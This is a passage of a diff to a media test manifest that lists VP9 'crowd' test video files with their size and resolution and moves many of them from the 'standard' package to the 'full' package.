-    <value>mime=video/x-vnd.on2.vp9,size=75416,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75416,width=636,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_638x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75320,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75320,width=638,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_638x360p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=74829,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=74829,width=638,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x356p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=75555,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=75555,width=640,height=356,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x358p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=33207,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=33207,width=640,height=358,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x360p50f32_400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=32835,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=32835,width=640,height=360,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48526,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48526,width=640,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x640p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63762,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63762,width=640,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x848p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=80276,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=80276,width=640,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_640x960p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=96202,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=96202,width=640,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x1080p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18562,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18562,width=64,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x1280p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=18622,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=18622,width=64,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x1920p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=16342,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=16342,width=64,height=1920,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x48p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21301,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21301,width=64,height=48,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21597,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21597,width=64,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x720p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=17920,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=17920,width=64,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_64x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23245,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23245,width=64,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_704x528p50f32_700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=55953,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=55953,width=704,height=528,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_704x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63669,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63669,width=704,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_704x704p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72347,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72347,width=704,height=704,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x1280p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=148421,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=148421,width=720,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x16p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21321,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21321,width=720,height=16,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x480p50f32_600kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=48513,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=48513,width=720,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x576p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63683,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63683,width=720,height=576,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20060,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20060,width=720,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x720p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79577,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79577,width=720,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_720x960p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=104201,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=104201,width=720,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_72x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22265,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22265,width=72,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_72x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=22756,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=22756,width=72,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_7680x5120p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2723000,width=7680,height=5120,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36234,13 +36234,13 @@
     <value>mime=video/x-vnd.on2.vp9,size=2729720,width=7680,height=5760,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_768x1024p50f32_1500kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=120029,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=120029,width=768,height=1024,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_800x600p50f32_900kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=72196,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=72196,width=800,height=600,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_800x800p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=96279,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=96279,width=800,height=800,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_8192x4608p50f32_24000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=2754000,width=8192,height=4608,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36252,49 +36252,49 @@
     <value>mime=video/x-vnd.on2.vp9,size=2684517,width=8192,height=8192,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_848x480p50f32_800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=63953,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=63953,width=848,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_848x640p50f32_1000kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=79774,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=79774,width=848,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_848x848p50f32_1400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=113603,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=113603,width=848,height=848,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_8x8p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=2276,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=2276,width=8,height=8,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_960x1280p50f32_2400kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=202417,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=202417,width=960,height=1280,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_960x1440p50f32_2700kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=227020,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=227020,width=960,height=1440,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_960x640p50f32_1200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=95259,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=95259,width=960,height=640,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_960x720p50f32_1300kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=103165,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=103165,width=960,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_960x960p50f32_1800kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=145306,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=145306,width=960,height=960,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x128p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21686,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21686,width=96,height=128,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x144p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21700,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21700,width=96,height=144,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x176p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=20690,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=20690,width=96,height=176,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x64p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23543,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23543,width=96,height=64,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x72p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=21667,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=21667,width=96,height=72,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv422/8bit/resolution/crowd_96x96p50f32_200kbps.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=23113,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=23113,width=96,height=96,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/bitrate/crowd_1280x720p24f300_3000kbps.webm">
     <value>mime=video/x-vnd.on2.vp9,size=5268066,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -36387,103 +36387,103 @@
     <value>mime=video/x-vnd.on2.vp9,size=1859519,width=854,height=480,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167969,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167969,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168185,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168185,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168136,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168136,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168024,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=159781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=159781,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160072,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160072,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168642,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168642,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168753,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168753,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168799,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168799,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168741,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168741,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168890,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168890,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=168396,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167155,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167155,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=180102,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=180102,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=167998,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=139818,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=139818,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/10bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=169184,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
